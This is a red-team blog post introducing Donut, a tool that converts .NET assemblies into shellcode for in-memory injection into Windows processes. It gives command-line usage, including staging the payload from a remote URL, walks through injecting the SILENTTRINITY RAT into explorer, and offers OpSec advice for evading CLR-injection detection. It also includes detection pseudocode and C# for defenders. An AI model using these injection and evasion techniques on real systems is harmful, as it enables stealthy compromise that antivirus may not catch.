The Wover

Red Teaming, .NET, and random computing topics

Blog About

Donut - Injecting .NET Assemblies as Shellcode

TLDR: You can now inject .NET Assemblies into Windows processes using this repo: https://github.com/TheWover/donut/

Advancing Tradecraft - Context

Offensive and red team tradecraft have changed significantly in the past year. As anti-malware systems improve their capability to detect and deter offensive tools, attackers are shifting their focus to technologies that are not observed by AV. Currently, that means operating entirely in memory and avoiding dropping files onto disk. In the Windows world, the .NET Framework provides a convenient mechanism for this. It is, however, severely restricted in that .NET programs cannot be injected directly into remote processes. In this article, we will address this issue by describing how to inject .NET code into processes via shellcode.

.NET Primer

Before we begin, you must understand a few important components of .NET.

- Common Language Runtime: Like Java, .NET uses a runtime environment (or "virtual machine") to interpret code at runtime. All .NET Code is compiled from an intermediate language to native code "Just-In-Time" before execution.
- Common Intermediate Language: Speaking of an intermediate language, .NET uses CIL (also known as MSIL). All .NET languages (of which there are many) are "assembled" to this intermediate language. CIL is a generic object-oriented assembly language that can be interpreted into machine code for any hardware architecture. As such, the designers of .NET languages do not need to design their compilers around the architectures they will run on. Instead, they merely need to design it to compile to one language: CIL.
- .NET Assemblies: .NET applications are packaged into .NET Assemblies. They are so called because the code from your language of choice has been "assembled" into CIL but not truly compiled. Assemblies use an extension of the PE format and are represented as either an EXE or a DLL that contains CIL rather than native machine code.
- Application Domains: Assemblies are run inside of a safe "box" known as an Application Domain. Multiple Assemblies can exist within an AppDomain, and multiple AppDomains can exist within a process. AppDomains are intended to provide the same level of isolation between executing Assemblies as is normally provided for processes. Threads may move between AppDomains and can share objects through marshalling and delegates.

Current state of .NET Tradecraft

Currently, .NET tradecraft is limited to post-exploitation execution by one of two main ways:

- Assembly.Load(): The .NET Framework's standard library includes an API for code reflection. This Reflection API includes System.Reflection.Assembly.Load, which can be used to load .NET programs from memory. In less than five lines of code, you may load a .NET DLL or EXE from memory and execute it.
- execute-assembly: In Cobalt Strike 3.11, Raphael Mudge introduced a command called 'execute-assembly' that ran .NET Assemblies from memory as if they were run from disk. This command introduced the world to .NET tradecraft and signalled the shift to Bringing Your Own Land.

However, both execution vectors produce challenges for red teams seeking to develop flexible TTPs.

Assembly.Load

While the Reflection API is very versatile and can be useful in many different ways, it can only run code in the current process. No support is provided for running payloads in remote processes.

execute-assembly

The main problem with execute-assembly is that it executes the same way every time. That predictability ensures that it is reliable, but also lets defenders built analytics.

1. A subprocess is created using the *spawnto* executable. Mudge refers to this as a "sacrificial process" because it acts as a host for your payloads, isolating your Beacon's process from any failure in your code.
2. A reflective DLL is injected into the subprocess to load the .NET Runtime.
3. The reflective DLL loads an intermediate .NET Assembly to handle errors and improve the stability of your payload.
4. The intermediate .NET Assembly loads your .NET Assembly from memory inside the subprocess.
5. The main entry point of your Assembly is invoked along with your command-line arguments.

The result is that execute-assembly *does* allow you to inject your .NET Assembly into a remote process. However, it does not let you inject into a running process or specify how that injection occurs. It is only modular in *what* you can run, not *how* you can run it. The most that you can do is to specify what executable is run for your sacrificial subprocess by changing the *spawnto* variable in your Malleable C2 Profile. execute-assembly also has a hidden size limitation of 1 MB for your payloads, which limits your flexibility in designing post-exploitation tools.

Moving Forward

To move past these limitations, we need a technique that meets the following requirements:

- Allows you to run .NET code from memory.
- Can work with any Windows process, regardless of its architecture and whether it has the CLR loaded.
- Allows you to inject that code in either a remote (different) process or the local (current) process.
- Allows you to determine in what way that injection occurs.
- Works with multiple types of process injection.

The most flexible type of payload that meets those requirements is shellcode. But you can't just convert a .NET Assembly to shellcode. They run through a runtime environment, not directly on the hardware. Wouldn't it be great if we could just inject .NET Assemblies as shellcode? Yes. Yes, it would.

Introducing Donut

`Shortly before publishing donut, Odzhan and I became aware of another team working on a shellcode generator for .NET Assemblies. They were at the same stage of their project at us. We both agreed that whomever of us published first would ensure that the other received due credit for their work. As soon as they publish their tool, we will update this article with a link. This project is CLRVoyance, published by Accenture:` Link to the repo.

Donut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from memory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.

Donut is currently at version 0.9 (Beta). Please share any issues or suggestions with us as Issues on GitHub. Once we have received feedback, we will release version 1.0. A link to the compiled v0.9 release can be found here.

This is a joint project between Odzhan and TheWover. Odzhan also created a blog post for v0.9 release.

How it Works

Unmanaged Hosting API

Microsoft provides an API known as the Unmanaged CLR Hosting API. This API allows for unmanaged code (such as C or C++) to host, inspect, configure, and use Common Language Runtimes. It is a legitimate API that can be used for many purposes. Microsoft uses it for several of their products, and other companies use it to design custom loaders for their programs. It can be used to improve performance of .NET applications, create sandboxes, or just do wierd stuff. We do the latter.

One of the things it can do is manually load .NET Assemblies into arbitrary Application Domains. It can do this either from disk or from memory. We utilize its capability for loading from memory to load your payload without touching disk.

To see a standalone example of an Unmanaged CLR Hosting Assembly loader, check out Casey Smith's repo: AssemblyLoader

CLR Injection

The first action that donut's shellcode takes is to load the CLR. Unless the user specifies the exact runtime version to use, v4.0.30319 of the CLR will be used by default, which supports the versions 4.0+ of .NET. If the attempt to load a specific version fails, then donut will attempt to use whichever one is available on the system. Once the CLR is loaded, the shellcode creates a new Application Domain. At this point, the .NET Assembly payload must be obtained. If the user provided a staging URL, then the Assembly is downloaded from it. Otherwise, it is obtained from memory. Either way, it will loaded into the new AppDomain. After the Assembly is loaded but before it is run, the decrypted copy will be released and later freed from memory with VirtualFree to deter memory scanners. Finally, the Entry Point specified by the user will be invoked along with any provided parameters.

If the CLR is already loaded into the host process, then donut's shellcode will still work. The .NET Assembly will just be loaded into a new Application Domain within the managed process. .NET is designed to allow for .NET Assemblies built for multiple versions of .NET to run simultaneously in the same process. As such, your payload should always run no matter the process's state before injection.

Shellcode Generation

The logic above describes how the shellcode generated by donut works. That logic is defined in payload.exe. To get the shellcode, exe2h extracts the compiled machine code from the .text segment in payload.exe and saves it as a C array to a C header file. donut combines the shellcode with a Donut Instance (a configuration for the shellcode) and a Donut Module (a structure containing the .NET assembly, class name, method name and any parameters).

Using Donut

Donut can be used as-is to generate shellcode from arbitrary .NET Assemblies. Both a Windows EXE and a Python (Python planned for v1.0) script are provided for payload generation. The command-line syntax is as described below.

```
 usage: donut [options] -f <.NET assembly> -c <namespace.class> -m <Method>

       -f <path>            .NET assembly to embed in PIC and DLL.
```

```
      -u <URL>            HTTP server hosting the .NET assembly.
      -c <namespace.class> The assembly class name.
      -m <method>         The assembly method name.
      -p <arg1,arg2...>   Optional parameters for method, separated by comma or semi-colon.
      -a <arch>           Target architecture : 1=x86, 2=amd64(default).
      -r <version>        CLR runtime version. v4.0.30319 is used by default.
      -d <name>           AppDomain name to create for assembly. Randomly generated by default.

examples:

   donut -a 1 -c TestClass -m RunProcess -p notepad.exe -f loader.dll
   donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/
```

Generating Shellcode

To generate shellcode with donut, you must specify a .NET Assembly, an Entry Point, and any parameters that you wish to use. If your Assembly uses the *Test* namespace and includes the *Program* class with the *Main* method, then you would use the following options:

```
donut.exe -f Test.exe -c Test.Program -m Main
```

To generate the same shellcode for 32-bit processes, use the '-a' option:

```
donut.exe -a 1 -f Test.exe -c Test.Program -m Main
```

You may also provide parameters to whatever Entry Point you specify. The max length of each parameter is currently 32 characters. To demonstrate this functionality, you may use the following options and our example Assembly to create shellcode that will spawn a Notepad process and a Calc process:

```
.\donut.exe -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
```

When generating shellcode to run an an older Windows machine, you may need it to use v2 of the CLR, rather than v4. v2 works for versions of the .NET Framework <= 3.5, while v4 works for versions >= 4.0. By default, donut uses version 4 of the CLR. You may tell it to use v2 with the '-r' option and specifying "v2.0.50727" as the parameter.

```
.\donut.exe -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
```

The name of the AppDomain for your .NET payload may be specified manually using the '-d' option. By default, it will be randomly generated. You may specify a name.

```
.\donut.exe -d ResourceDomain -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
```

In order to reduce the size of your shellcode (or for many other reasons), you may specify a URL where your payload will be hosted. Donut will produce an encrypted Donut Module with a random name that you should place at the URI you specified. The name and location where you should place it will be printed to your screen when you generate the shellcode.

```
.\donut.exe -u http://remote_server.com/modules/ -d ResourceDomain -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepa
```

Demonstrating with SILENTTRINITY

For a demonstration, we will use the SILENTTRINITY RAT as a test payload. Since it is the most… ahh… complicated .NET Assembly that I could find, I used it for all of my testing. You may use any standard shellcode injection technique to inject the .NET Assembly. The DonutTest subproject is provided in the repo as an example injector. You may combine it with the DonutTest subproject to test the shellcode generator. In our case, we will first use DonutTest to inject into explorer. We also show what it looks like to use an existing implant to perform further injection using the `boo/shellcode` and `ipy/execute-assembly` post-exploitation modules.

Generation

First, we will generate a x64 PIC using the SILENTTRINITY DLL. Using PowerShell, we will base64-encode the result and pipe it to our clipboard.

Because we don't know what processes will be available to inject into on-target, we will also generate a x86 PIC just in case we need it.

If you wanted to, you could use a staging server by providing the URL and copying the Donut Module to the specified location.

Choosing a Host Process

Use ProcessManager, a sub-project provided in the donut repo, to enumerate processes. ProcessManager enumerates all running processes and makes a best effort to obtain information about them. It is specifically designed to aid in determining what process to inject / migrate into. The picture below demonstrates its general usage.

Injecting

First, we will use DonutTest to inject into explorer using DonutTest. We pasted the encoded shellcode from above into DonutTest and rebuilt it for our test.

As you can see, the injection was successfull:

Now assume we already have an agent running on the machine. We can use SILENTTRINITY's post-exploitation modules to inject implants into running processes.

Using as a Library

donut is provided as both dynamic and static libraries for both (*.a* / *.so*) and Windows (*.lib* / *.dll*). It has a simple API that is described in *docs\api.html*. Two exported functions are provided, `int DonutCreate(PDONUT_CONFIG c)` and `int DonutDelete(PDONUT_CONFIG c)`.

Rebuilding the shellcode

You may easily customize our shellcode to fit your use case. *payload.c* contains the .NET assembly loader, which should successfully compile with both Microsoft Visual Studio and mingw-w64. Make files have been provided for both compilers which will generate x86-64 shellcode by default unless x86 is supplied as a label to nmake/make. Whenever *payload.c* has been changed, recompiling for all architectures is recommended before rebuilding donut.

Microsoft Visual Studio

Open the x64 Microsoft Visual Studio build environment, switch to the *payload* directory, and type the following:

```
nmake clean -f Makefile.msvc
nmake -f Makefile.msvc
```

This should generate a 64-bit executable (*payload.exe*) from *payload.c*. exe2h will then extract the shellcode from the *.text* segment of the PE file and save it as a C array to *payload_exe_x64.h*. When donut is rebuilt, this new shellcode will be used for all payloads that it generates.

To generate 32-bit shellcode, open the x86 Microsoft Visual Studio build environment, switch to the payload directory, and type the following:

```
nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc
```

This will save the shellcode as a C array to *payload_exe_x86.h*.

Mingw-w64

Assuming you're on Linux and *mingw-w64* has been installed from packages or source, you may still rebuild the shellcode using our provided makefile. Change to the *payload* directory and type the following:

```
make clean -f Makefile.mingw
make -f Makefile.mingw
```

Once you've recompiled for all architectures, you may rebuild donut.

Integrating into Tooling

We hope that donut (or something inspired by it) will be integrated into tooling to provide **inject** and **migrate** functionality. To do so, we suggest one of the following methods:

- As an operator, using the generator to manually generate shellcode.
- Generate the shellcode dynamically on your C2 server, pass that down to an existing implant, and inject it into another process.
- Use our dynamic or static libraries.
- As a template for building your own shellcode / generator.
- Use our Python (Python planned for v1.0) extension to script shellcode generation dynamically.

Advancing Tradecraft

It is our hope that releasing donut to the public will advance offensive and red team tradecraft in several ways:

- Provide red teams and adversary emulators with a means to emulate this technique that threat actors may have developed in secret.
- Provide blue teams a frame of refernce for detecting and mitigating CLR Injection techniques.
- Inspire tool developers to develop new types of techniques and tradecraft.

Alternative Payloads

The main benefit of using .NET Assemblies as shellcode is that they can now be executed by anything that can execute shellcode on Windows. There are many more ways to inject shellcode than there are to load Assemblies. As such, offensive tool designers no longer need to design their payloads around running .NET. Instead, they may leverage their existing payloads and techniques that use shellcode.

Injecting .NET At Will / Migration

Donut will also allow the developers of C2 Frameworks / RATs to add migrate-like functionality to their tools. By using Donut as a library (or calling the generator) on the server and then providing the result to an existing agent, it may inject a new instance of itself into another running process. This may also be used to inject arbitrary post-exploitation modules so long as I/O is properly redirected.

Disposable AppDomains

When donut loads an Assembly, it loads it into a new AppDomain. Unless the user specifies the name of the AppDomain with the '-d' parameter, the AppDomain is given a random name. We specifically designed donut to run payloads in new AppDomains rather than using DefaultDomain. If this does not suit you, you can easily modify payload.c to use the default domain. By running the payload in its own AppDomain, this allows for the development of tools that run post-exploitation modules in disposable AppDomains. Application Domains can be unloaded, but individual Assemblies cannot. Therefore, to unload an Assembly when you are done with it, you must put it into its own AppDomain and unload that instead. A C# agent can have the shellcode generated on its server, inject the result into itself in a new thread, wait for the Assembly to finish executing, then unload the host AppDomain. You could also modify the shellcode itself to perform that role.

Detecting CLR Injection

One of the companion projects for donut is ModuleMonitor. It uses WMI Event Win32_ModuleLoadTrace to monitor for module loading. It provides filters, detailed data, and has an option to monitor for CLR Injection attacks.

The CLR Sentry option follows some simple logic: If a process loads the CLR, but the program is not a .NET program, then the CLR has been injected into it.

While useful, there are both false positives and false negatives:

- False Postiive: There are (few) legitimate uses of the Unmanaged CLR Hosting API. If there weren't, then Microsoft wouldn't have made it. CLR Sentry will notice every unmanaged program that loads the CLR.
- False Negatives: This will NOT notice injection of .NET code into processes that already have the CLR loaded. So, no use of the Reflection API and not when donut is used to inject shellcode into managed processes.

Please Note: This is intended **only** as a Proof-of-Concept to demonstrate the anomalous behavior produced by CLR injection and how it may be detected. It should not be used in any way in a production environment. You could perform the same logic with the Image Load event for Sysmon or ETW. They would be easier to scale and integrate with enterprise tooling.

I am not a defender, but the following pseudocode is my attempt at an analytic that follows this logic. The DLLs that are associated with the CLR all start with "msco", such as "mscorlib.dll" and "mscoree.dll". As such, we watch for their loading, then check if the program that loaded them is a valid .NET Assembly.

```
void CLR_Injection:
    WHEN Image_Load event:
        if event.Module.Name contains "msco*.dll":
        {
            if !(IsValidAssembly(event.Process.FilePath)):
            {
                print "A CLR has been injected into " + event.Process.Id
            }
        }
```

The snippet below represents my implementation of this logic in C#. The full code can be found in ModuleMonitor.

```
//CLR Sentry
//Author: TheWover
 while (true)
        {
            //Get the module load.
            Win32_ModuleLoadTrace trace = GetNextModuleLoad();

            //Split the file path into parts delimited by a '\'
            string[] parts = trace.FileName.Split('\\');

            //Check whether it is a .NET Runtime DLL
            if (parts[parts.Length - 1].Contains("msco"))
            {
                //Get a
                Process proc = Process.GetProcessById((int) trace.ProcessID);

                //Check if the file is a .NET Assembly
                if (!IsValidAssembly(proc.StartInfo.FileName))
                {
                    //If it is not, then the CLR has been injected.
                    Console.WriteLine();

                    Console.WriteLine("[!] CLR Injection has been detected!");

                    //Display information from the event
                    Console.WriteLine("[>] Process {0} has loaded the CLR but is not a .NET Assembly:", trace.ProcessID);
                }
            }
        }
```

It is important to note that this behaviour represents all CLR Injection techniques, of which there are several. This detection should work for donut, as well as other tools such as Cobalt Strike's 'execute-assembly' command.

OpSec Considerations

ModuleMonitor demonstrates an important point about CLR Injection: When performed against unmanaged processes, CLR Injection produces highly anomalous process behavior. The loading of a CLR after a process's initial execution or from unmanaged code is unusual. There are few legitimate use cases. From a defender's perspective, this allows you to build a analytics that monitor for the behavior described in the section above.

However, as I mentioned, this analytic fails to detect CLR Injection into processes that already have the CLR loaded. As such, an operator could evade the analytic by simply injecting into processes that are already managed. I would recommend the following standard operating procedure:

1. Run ProcessManager from memory to enumerate processes. Take note of which you can inject into.
2. If there are any processes that are already managed, then consider them the set of potential targets.
3. If there are not any managed processes, then all processes are potential targets.
4. Either way, inject / migrate into the process that is most likely to naturally produce network traffic and live the longest.

Or to put it simply:

- Whenever possible, prefer to inject .NET Assemblies into processes that already have the CLR loaded.

Conclusion

Offensive .NET tradecraft is faced with several important challenges. One of them is the lack of means to inject into remote processes at will. While this can normally be performed with shellcode, there is no way to produce shellcode that can run a .NET Assembly directly on hardware. Any shellcode that runs a .NET Assembly must first bootstrap the Common Language Runtime and load the Assembly through it. Enter Donut. With Donut, we now have a framework for generating flexible shellcode that loads a .NET Assembly from memory. This can be combined with existing techniques and tooling to advance tradecraft in a number of ways. Hopefully, this will break down the current barriers in .NET-based exploitation and provide tool designers with a foundation for crafting more excellent tools.
Written on May 9, 2019